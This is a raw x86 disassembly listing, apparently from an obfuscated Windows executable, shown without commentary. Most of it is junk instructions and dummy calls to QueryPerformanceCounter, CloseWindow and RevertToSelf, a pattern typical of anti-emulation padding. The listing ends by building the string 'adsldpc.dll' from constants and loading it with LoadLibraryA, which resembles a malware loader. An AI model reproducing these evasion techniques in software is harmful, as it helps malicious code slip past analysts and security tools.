jmp 0x40ddcd
mov word [0x87e025], 0x11fd
mov eax, ecx
mov byte [0x87e03c], 0x64
xchg dword [0x87e04c], edi
inc byte [ebp - 1]
cmp byte [ebp - 1], 2
jne 0x40dd80
push 0x8d51f0
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
jne 0x40de03
add edi, dword [0x87e0ce]
mov dword [0x87e0ed], ebx
mov dword [0x87e09a], edi
mov byte [ebp - 1], 0
mov dword [0x87e0b9], 0x106e1
and dword [0x87e0da], edi
sub dword [0x87e0b3], ebx
mov dword [0x8d51f8], 0x16d97
mov dword [0x8d51fc], 0x11f26
mov eax, 0x40e6d4
mov dword [0x8d5200], eax
mov eax, 0x40e6dc
mov dword [0x8d5204], eax
mov eax, dword [0x8d5204]
push eax
mov eax, dword [0x8d5200]
push eax
mov eax, dword [0x8d51fc]
push eax
mov eax, dword [0x8d51f8]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
jne 0x40de98
mov dword [0x87e0a8], eax
mov byte [0x87e0fa], 0x72
test edi, edi
je 0x40de82
mov word [0x87e05a], 0x3060
jmp 0x40de88
and dword [0x87e01c], edx
sub dword [0x87e065], eax
mov dword [0x87e08a], 0x167fb
inc byte [ebp - 1]
cmp byte [ebp - 1], 2
jne 0x40de07
mov byte [ebp - 1], 0
push 0x8d5208
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
je 0x40dedd
mov dword [0x87e0cd], 0x17532
mov dword [0x87e08f], edi
sub dword [0x87e03a], ebx
mov dword [0x87e05a], eax
mov dword [0x87e067], 0x1673c
inc byte [ebp - 1]
cmp byte [ebp - 1], 3
jne 0x40dea9
mov dword [0x8d5210], 0x1776e
mov dword [0x8d5214], 0x19be8
mov eax, 0x40e6ec
mov dword [0x8d5218], eax
mov eax, 0x40e6f8
mov dword [0x8d521c], eax
mov eax, dword [0x8d521c]
push eax
mov eax, dword [0x8d5218]
push eax
mov eax, dword [0x8d5214]
push eax
mov eax, dword [0x8d5210]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
jne 0x40df52
cmp edi, 0xffffffff
jle 0x40df3c
mov dword [0x87e035], ebx
jmp 0x40df46
xchg dword [0x87e0be], edi
mov dword [esp - 0x24], eax
mov dword [0x87e026], esi
xchg dword [0x87e089], eax
mov dword [0x87e0a7], 0x10549
inc byte [0x87e076]
mov edx, dword [0x87e011]
mov dword [0x87e0e3], esi
mov dword [0x87e041], ecx
mov edx, 0x87e061
push eax
call fcn.00405c44
mov byte [ebp - 1], 0
mov dword [0x8d5220], 0x1abd0
mov eax, dword [0x8d5220]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40dfb9
lea edx, [0x87e0e1]
and dword [edx + 0x20], 0x35
mov dword [0x87e091], 0x15c9c
sub ebx, 0x4d
and dword [0x87e0df], ecx
inc byte [ebp - 1]
cmp byte [ebp - 1], 3
jne 0x40df83
mov dword [0x8d5224], 0x1743e
mov eax, dword [0x8d5224]
push eax
call sub.advapi32.dll_RevertToSelf_1
test eax, eax
jne 0x40dffb
lea ebx, [0x87e080]
add dword [ebx + 4], 0x98
mov dword [0x87e028], esi
mov byte [0x87e075], 0xcd
mov dword [0x87e06a], ebx
push 0x8d5228
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
jne 0x40e039
mov dword [0x87e07a], 0x15b66
xchg dword [esp - 0x1c], eax
cmp byte [0x87e03a], 0
jne 0x40e02d
mov dword [esp - 0x12], edx
mov byte [0x87e0e0], 0x81
jmp 0x40e039
sub esi, 0xa7
mov dword [0x87e07a], ecx
push 0x8d5230
call sub.kernel32.dll_QueryPerformanceCounter
sub dword [0x87e05e], edi
and ecx, 0x1a
mov dword [0x87e013], ebx
cmp dword [0x87e033], 0
jg 0x40e073
mov word [0x87e036], 0x2795
lea edx, [0x87e02b]
mov dword [edx + 0x10], eax
mov dword [0x87e0ae], ebx
mov byte [0x87e0df], 0x4f
mov dword [0x87e107], 0x1191c
mov dword [0x87e03c], edx
mov dword [0x87e09e], eax
mov dword [0x87e065], ebx
xchg dword [0x87e0eb], edi
cmp ecx, dword [0x87e0cb]
jl 0x40e0b3
lea eax, [0x87e018]
add dword [eax], 0x64
mov dword [0x87e0f7], edi
mov dword [0x87e056], ecx
mov dword [0x8d5238], 0x16c15
mov eax, dword [0x8d5238]
push eax
call sub.advapi32.dll_RevertToSelf_1
mov dword [0x87e098], ebx
mov dword [0x87e0de], eax
mov dword [0x87e0eb], edi
mov dword [0x87e084], ebx
sub dword [0x87e05e], edi
and ecx, 0x1a
mov dword [0x87e013], ebx
mov byte [0x87e0f4], 0xdd
mov dword [0x87e10a], 0x17264
mov dword [0x87e0b1], ecx
add dword [0x87e07e], eax
mov dword [0x8d523c], 0x13f3a
mov dword [0x8d5240], 0x1cd44
mov eax, 0x40e700
mov dword [0x8d5244], eax
mov eax, 0x40e708
mov dword [0x8d5248], eax
mov eax, dword [0x8d5248]
push eax
mov eax, dword [0x8d5244]
push eax
mov eax, dword [0x8d5240]
push eax
mov eax, dword [0x8d523c]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
jne 0x40e175
mov dword [0x87e0ca], edx
mov dword [esp - 0x1c], ecx
lea ebx, [0x87e0d3]
mov dword [ebx], edx
dec ecx
mov byte [0x87e0cf], 0x98
call fcn.00403c3c
cmp dword [0x87e058], 0
jl 0x40e197
mov dword [0x87e0c3], eax
mov dword [0x87e0f4], ecx
xchg dword [0x87e030], edi
mov esi, edx
mov dword [0x87e02f], ebx
mov dword [0x87e0a3], 0x16293
xchg dword [0x87e0b0], eax
mov dword [0x87e066], ecx
call fcn.0040a4ec
cmp dword [0x87e03e], 0
jle 0x40e1de
mov dword [0x87e018], 0x10523
mov byte [0x87e038], 0xbb
mov dword [0x87e07f], esi
mov dword [0x87e024], ecx
dec eax
mov dword [0x87e0cc], ebx
mov dword [0x87e0e3], edi
mov dword [0x8d524c], 0x1326b
mov dword [0x8d5250], 0x14170
mov eax, 0x40e710
mov dword [0x8d5254], eax
mov eax, 0x40e720
mov dword [0x8d5258], eax
mov eax, dword [0x8d5258]
push eax
mov eax, dword [0x8d5254]
push eax
mov eax, dword [0x8d5250]
push eax
mov eax, dword [0x8d524c]
push eax
call sub.user32.dll_CloseWindow
test eax, eax
je 0x40e24e
mov dword [0x87e106], 0x16898
and dword [0x87e0e7], eax
mov dword [0x87e0fe], 0x13da4
cmp dword [0x87e0be], 0
jne 0x40e270
mov dword [0x87e07b], edi
mov dword [0x87e01d], esi
mov dword [esp - 4], edi
mov byte [0x87e0ef], 0x7c
jmp 0x40e289
mov dword [0x87e0af], esi
xchg dword [esp - 0x28], edx
mov dword [0x87e06d], ecx
mov word [0x87e0df], 0x9c74
mov dword [0x87e035], edx
mov word [0x87e02b], 0xe72
mov byte [0x87e067], 0x66
xor eax, eax
mov dword [0x8d5264], eax
mov eax, dword [0x8d5264]
push eax
mov eax, dword [0x8d5260]
push eax
mov eax, dword [0x8d525c]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
je 0x40e2de
mov dword [esp - 8], eax
lea ecx, [0x87e06e]
mov dword [ecx + 0x20], 0x76
mov dword [0x87e0f3], edx
mov dword [0x87e0a9], eax
xor eax, eax
mov dword [0x8d5270], eax
mov eax, dword [0x8d5270]
push eax
mov eax, dword [0x8d526c]
push eax
mov eax, dword [0x8d5268]
push eax
call sub.advapi32.dll_RevertToSelf
test eax, eax
jne 0x40e324
lea edx, [0x87e0d8]
add dword [edx + 0x18], ecx
xchg dword [0x87e017], edx
mov dword [0x87e0d9], 0x14fe6
mov byte [0x87e0f1], 0x8b
xchg dword [esp - 0x12], edx
cmp dword [0x87e058], 0
jl 0x40e341
mov dword [0x87e0c3], eax
mov dword [0x87e0f4], ecx
xchg dword [0x87e030], edi
mov esi, edx
mov dword [0x87e02f], ebx
mov dword [0x87e0a3], 0x16293
xchg dword [0x87e0b0], eax
mov dword [0x87e066], ecx
push 0x8d5274
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
je 0x40e383
mov ebx, 0x152
mov edi, dword [0x87e073]
lea esi, [0x87e018]
mov dword [esi + 0xc], 0x6c
mov dword [0x894d74], 0x2e637064
dec esi
mov ebx, 0xf7
add ecx, 0xa
mov dword [0x894d78], 0x6c6c64
mov ecx, dword [ebp + 0x28]
push ecx
lea eax, [ebp - 0x12]
push eax
mov eax, dword [esp + 8]
push eax
call fcn.00403e40
mov dword [0x87e0f0], 0x11f44
lea edi, [0x87e018]
mov dword [edi + 0x24], ebx
mov byte [0x87e103], 0x5d
mov dword [0x87e0f4], ecx
mov dword [0x894d70], 0x6c736461
call fcn.004033a0
mov dword [0x87e091], edx
mov dword [0x87e0c3], eax
mov dword [0x87e044], ebx
push 0x894d70
call sub.kernel32.dll_LoadLibraryA
sub eax, esi
mov dword [0x894de4], eax
add dword [0x894de4], esi
mov dword [0x87e0d6], 0x129c0
mov dword [0x87e0a7], esi
push edx
call fcn.0040857c
cmp bx, word [0x87e017]
jl 0x40e443
mov dword [0x87e09c], 0x137b6
add dword [0x87e0c4], esi
mov dword [0x87e101], 0x1602d
mov dword [0x87e085], ebx
sub esi, dword [0x87e068]
mov word [0x87e0f7], 0x83e9
mov esp, ebp
pop ebp
ret